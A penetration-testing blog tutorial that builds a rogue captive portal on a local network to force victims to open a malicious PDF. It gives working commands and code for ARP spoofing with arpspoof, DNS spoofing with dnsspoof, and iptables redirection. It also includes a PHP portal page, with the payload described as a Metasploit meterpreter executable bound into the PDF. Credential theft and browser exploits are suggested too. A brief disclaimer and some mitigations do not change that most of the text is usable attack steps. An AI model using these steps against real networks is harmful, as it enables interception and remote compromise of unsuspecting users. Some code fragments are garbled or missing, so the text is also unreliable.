Captive Audience: Using iptables and php as a home grown captive portal during penetration tests

This, like all penetration testing methods or discussions should be used for educationalprofessional purposes only. The purpose of this post is to show an interesting client based attack method that can be used in penetration testing. Abusing networks or computers that you do not have permission to be messing with is not smart and can get you into a lot of trouble.

The idea of a captive portal is not new. Anytime you’ve gone to a hotel or local coffee shop and seen the terms of service for using their free Wifi you’ve had your web traffic redirected to a page of the establishment’s choosing and been forced to view said page. When I put it like that doesn’t it sound nasty? And, in the world of pen testing, where browserclient side exploits are a shoe in into networks doesn’t the idea of a captive portal sound like an amazing tool? I hesitate to say this will work 100% of the time, because there are absolutely no absolutes. And while I never exaggerate (never in a million years!) I feel justified in saying this should work most of the time. For me, this attack vector has worked 100% of the time. Some of the scenarios where I’ve used the below method are wireless security testing, or internal penetration tests (or as a parlor trickimpromptu security training session).

What follows is a not so brief tutorial demonstrating how to setup a captive portal for the purpose of obtaining remote access to a target computer.

Summary of attacks used: ARP spoofing MITM, DNS spoofing, traffic redirection, malicious pdf file.

The gist of the attack is this: you’re on a LAN. You play man in the middle and force ALL of the target’s web traffic to view your page first before you pass it on to the intended destination. The target (be it a single host or an entire broadcast domain) is forced to view a page you choose. This could be used to supply browser exploits, steal credentials, or drop payloads on to the victim. NOTE: if you do attempt this against an entire subnet you better have one heckuva laptop with several NICs or you will DOS the network.

There are a lot of open source distros that are bundled captive portals, but I found this method to be the most customizable, and it suited my needs. I used the following site heavily as a reference when I started working on this attack a few months ago, and customized as I saw fit.

I’ll describe a scenario where a user is sent to a web page and has to open a malicious PDF and input a code from said PDF before they can continue browsing.

Let’s begin. I primarily use Backtrack (used BT4 R2 for this instance) when performing security duties, but I have also gotten very friendly with CentOS or the latest Ubuntu release. Most of the instructions below were developed while using Backtrack (some of the commands and dependencies are different for the different distros, but the gist is the same).

BT4 R2 comes with an older version of iptables. We will be marking packets and for this to work you need to download the latest source for iptables (version 1.4.10).

Remove the current installation: [bash]apt-get remove iptables[/bash]

Extract the contents of iptables-1.4.10.tar.bz2: [bash]tar –xvf iptables-1.4.10.tar.bz2[/bash]

Enter the newly extracted directory and use the make method to compile iptables from source.

make install

Check your work by issuing the


command. You should see version info. Success reads iptables v1.4.10. Sometimes I’ve had to close the Konsole window and open a new one to see the new iptables version, don’t know why.

Now lets setup some of the other things in the environment you’ll need. First is conntrack.

apt-get install conntrack

Next we need to create an empty text file called users.

echo blah >/var/lib/users

Now we need to change the owner for the file to be www-data.

chown www-data /var/lib/users

You’ll see later what this file is used for. I don’t use it too much but like to have it because A). it doesn’t hurt anything and B). it does give you some information, and the more information about a target the better!

Next setup the rmtrack script. This script’s purpose is to remove connection data so that the target gets forwarded to the legit site. I again need to give the credit to this blog because it provided so many good examples and code snippets.

 /usr/sbin/conntrack -L 
    |grep $1 
    |grep ESTAB 
    |grep 'dport=80' 
        "{ system("conntrack -D --orig-src $1 --orig-dst " 
            substr($6,5) " -p tcp --orig-port-src " substr($7,7) " 
            --orig-port-dst 80"); }"

You’ll notice this only deals with HTTP traffic. Don’t worry about that for now, I’ll get more into that later.

Don’t forget to make /usr/bin/rmtrack executable

chmod +x /usr/bin/rmtrack

We need to setup sudoers so the apache account has permissions to run some commands. Use the


command and add the following entries to your sudoers file:

 www-data ALL = NOPASSWD: /sbin/iptables -I internet 1 -t nat -m mac --mac-source ??:??:??:??:??:?? -j RETURN
www-data ALL = NOPASSWD: /sbin/iptables -D internet -t nat -m mac --mac-source ??:??:??:??:??:?? -j RETURN
www-data ALL = NOPASSWD: /usr/bin/rmtrack [0-9]*.[0-9]*.[0-9]*.[0-9]*

Now on to the iptable rules:

You can copy and paste this into a script for ease of use. Just remember that you should clear all the iptables rules before making any new changes and reapplying them. I usually make two scripts, one with the iptables rules and one to clear them. I left some of the original iptables script comments but I’ll also go in to more detail further down. Be sure to change the two IP addresses below to your victim IP (or subnet) and your attacker IP.

Here are the rules:


# Create internet chain and add allow rules

# This is used to authenticate users who have already signed up

$IPTABLES -A FORWARD -s VICTIM IP -p udp -m udp --dport 53 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT

$IPTABLES -A INPUT -p udp -m udp --sport 53 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT

$IPTABLES -N internet -t nat

# First send all traffic via newly created internet chain

# At the prerouting NAT stage this will DNAT them to the local

# webserver for them to signup if they aren't authorized

# Packets for unauthorized users are marked for dropping later

$IPTABLES -t nat -A PREROUTING -j internet

###### INTERNET CHAIN ##########

# Allow authorized clients in, redirect all others to login webserver

# Add known users to the NAT table to stop their dest being rewritten

# Ignore MAC address with a * - these users are blocked

# This awk script goes through the /var/lib/users flat file line by line

#awk 'BEGIN { FS="t"; } { system("$IPTABLES -t nat -A internet -m mac --mac-source "$4" -j RETURN"); }' /var/lib/users

# MAC address not found. Mark the packet 99

$IPTABLES -t nat -A internet -j MARK --set-mark 99

# Redirects web requests from Unauthorized users to logon Web Page

$IPTABLES -t nat -A internet -m mark --mark 99 -p tcp --dport 80 -j DNAT --to-destination ATTCKER IP


# Now that we've got to the forward filter, drop all packets

# marked 99 - these are unknown users. We can't drop them earlier

# as there's no filter table

$IPTABLES -t filter -A FORWARD -m mark --mark 99 -j DROP

We’re going to be using DNS spoofing so the URL’s in the address bar don’t arouse suspicion. We need to allow DNS queries to egress, as well as allow traffic to port 53 on our own box which will return bogus responses, which is what the first two iptabels rules does.

Then we create a new chain called “internet”. The rest of the rules are spelled out in the above comments.

Basically what will happen here is your targets traffic will pass through your machine, like your machine is the router. The iptables rules will deny all traffic (except DNS queries) and forward all HTTP traffic to your own attacking box, where you serve up your PHP page.

A quick note on the /var/lib/users file. This will keep a persistent list of folks who “Register” with your captive portal. After the attack completes their MAC (among other things) is noted in this file. When you run the iptables script the awk statement will grab these users and allow them through without having to hit your page again. It’s optional. If you omit the file tho you’ll need to kill it’s reference in the php page.

Now to the PHP file. The basics are your PHP file will handle the URL header rewriting, as well as forwarding the target to their originally requested site after they’ve opened your malicious PDF.

Remember you can’t have HTML code within PHP tags so you need to start and end them appropriately within the page. There’s some dummy html in the below PHP file which is a simple form asking for a code. Once they input the proper code into the text box and hit submit their mac address will be added to an iptables rule that will allow them Internet access, and the php header operation will forward them to the site they requested originally. The php if statement is waiting for an expected value to be supplied to the code variable; that value is sitting in the PDF file you created (with metasploit). You can set it to whatever you’d like, just change the php code. Be sure to name this file index.php in the /var/www directory. Delete index.html. and I suppose you should probably start apache too…

Change the variable at the top to whatever you want (you’ll be spoofing the DNS for this address, that will be the URL they see in their browser address bar). Also you can change the expected value for the code variable to whatever you want.

Don’t forget about starting your webserver.


Index.php file:


$server_name = "www";
$domain_name = "";
$site_name = "Fake Site Name:";

// Path to the arp command on the local server
$arp = "/usr/sbin/arp";

// The following file is used to keep track of users
$users = "/var/lib/users";

// Check if we've been redirected by firewall to here.
// If so redirect to registration address
if ($_SERVER['SERVER_NAME']!="$server_name.$domain_name") {

// Attempt to get the client's mac address
$mac = shell_exec("$arp -a ".$_SERVER['REMOTE_ADDR']);
preg_match('/..:..:..:..:..:../',$mac , $matches);
@$mac = $matches[0];
if (!isset($mac)) { exit; }

$code = $_POST['code'];

if ($code!="1234") {
  // code doesn’t equal expected value, so display form
  <h1>Welcome to <?php echo $site_name;?></h1>
  To access the Internet you must first enter code from pdf below:<br><br>
  <a href="./fake.pdf">PDF File Here</a>
  <form method='POST'>
  <table border=0 cellpadding=5 cellspacing=0>
  <tr><td>Your email address:</td><td><input type='text' name='code'></td></tr>
  <tr><td></td><td><input type='submit' name='submit' value='Submit'></td></tr>

} else {

// This function enables the PC on the system by calling iptables, and also saving the
// details in the users file for next time the firewall is reset

function enable_address() {

    global $name;
    global $email;
    global $mac;
    global $users;

        .$_SERVER['REMOTE_ADDR']."t$mact".date("d.m.Y")."n",FILE_APPEND + LOCK_EX);
    // Add PC to the firewall
    exec("sudo iptables -I internet 1 -t nat -m mac --mac-source $mac -j RETURN");
    // The following line removes connection tracking for the PC
    // This clears any previous (incorrect) route info for the redirection
    exec("sudo rmtrack ".$_SERVER['REMOTE_ADDR']);


// Function to print page header
function print_header() {

  <head><title><?php echo $site_name;?></title>
  <LINK rel="stylesheet" type="text/css" href="./style.css">

  <body bgcolor=#FFFFFF text=000000>

// Function to print page footer
function print_footer() {
  echo "</body>";
  echo "</html>";



You can get creative with the HTML portion of the php page. Get a convincing page setup (wget magic!) and inform your user they need to view some agreement or accept some terms before they can continue using the web. The purpose of the having them enter a code is that the user will have no recourse but to open your malicious pdf and get the code to continue browsing. Once they do you can have your malcode execute. After they put in the code they keep browsing none the wiser. You could just have a page that has an iframe that redirects to a browser exploit, or have a form setup to gather user data. During pen tests tho this is a stark reminder to your clients how dangerous an attacker on the LAN is. This is especially useful with businesses who have a guest wireless network. Most of this attack is mitigated by using static ARP tables or something like arpwatch on the gateway. While they don’t care so much about their customers’ data security, it can be a real eye opener. Also, a lot of companies use wireless and while most (some still do though) don’t use the ancient WEP for security, a lot still employ WPA2 PSK rather than the enterprise flavor using PKI. If the WPA2 passphrase is not complex then it’s just as easy to get into as WEP!

Recently I demonstrated this attack on a hospital guest wireless network. I also explained the ease of mitigating (at least the MITM portion) to the network admin staff and the next week the hospital had enabled some anti-arp spoofing features that had already existed in their wireless infrastructure, they had just never turned them on!

A note on 443: Without presenting ugly certificate errors and going through the hassle of setting up SSL on your apache server, HTTPS is simply denied by the iptables rules. Any HTTP site is redirected to your page, any HTTPS browsing is simply timed out.

Coming down the home stretch, now its just the MITM and DNS spoofing attack.

I had originally done this step with ettercap, since it had the nice DNS spoofing switch and I was familiar with it. However, ettercap uses it’s own means of forwarding IP packets, and does not leave it to the kernel. This means all HTTPS traffic bypasses our iptables rules and is allowed. The reason it bypasses SSL traffic is I don’t enable the ettercap SSL dissection. I don’t use ettercap all the time for MITM since it’s SSL packet dissection method requires the user to accept a bogus SSL certificate. I don’t like that, not that most users won’t do it, but because some won’t know how. I don’t want them to just get confused and close the browser. I make it easy for them to get popped!

As an alternative I used dsniff’s arpsoof and dnsspoof to get the desired results.

First enable forwarding in the kernel

echo 1 > /proc/sys/net/ipv4/ip_forward

Next kick off arpsoof towards the target and also the gateway.
You need to issue two arpspoof commands

The first:

arpspoof –i interface_name –t victim_ip gateway_ip >>/dev/null 2>&1 &

poisons the targets arp cache and sends all of the targets traffic to you.

Next you need to do the same thing to the gateway so you get the responses

arpspoof –i interface-name –t gateway _ip victim_IP >>/dev/null 2>&1 &

Since stderr is being piped to stdout and stdout is sent to /dev/null you’ll need to kill the arpspoof pids when you’re done to stop arp spoofing.

As the icing on the cake we’ll setup DNS spoofing so the URL in the victim’s address bar isn’t a local address.

Setup a text file in hosts format


Set the name to be the website name you used in the PHP file (those first variables you set: $server_name and $domain_name)

In another Konsole tab issue the dnsspoof command

 dnsspoof –i interface_name –f host_file_you_created_above

You can use whatever kind of sneaky payload you want, it’s just easy to use MSF to bind a meterpreter exe into a pdf (be sure to edit the “<a href” appropriately in your PHP file). Once that’s in your web root directory just wait.

Once a user who is being targeted by arpspoof tries to browse they will either be redirected to your bogus page, or if it’s an SSL site they’re trying to open they’re request will timeout (and they will hopefully attempt to browse to an HTTP page). I have yet to see a user who got suspicious and contacted anyone (it admin, or establishment staff), but simply opened the pdf, got the code and went along their merry way.

I’ve spoken to some of the mitigations of this attack above, but here’s a few more: some client security suites can recognize arpdns spoofing and prevent it, and can also disallow untrusted applications from creating sockets from the client without permission. Another means of mitigating this risk is user awareness training; explaining that users should be wary when hitting captive portals, (especially on a LAN they’ve used for sometime without seeing one and now they see one all of a sudden).

There you have it. There are many steps to this, and they all must be performed properly or the whole thing won’t work! Get out there and make the world a safer place!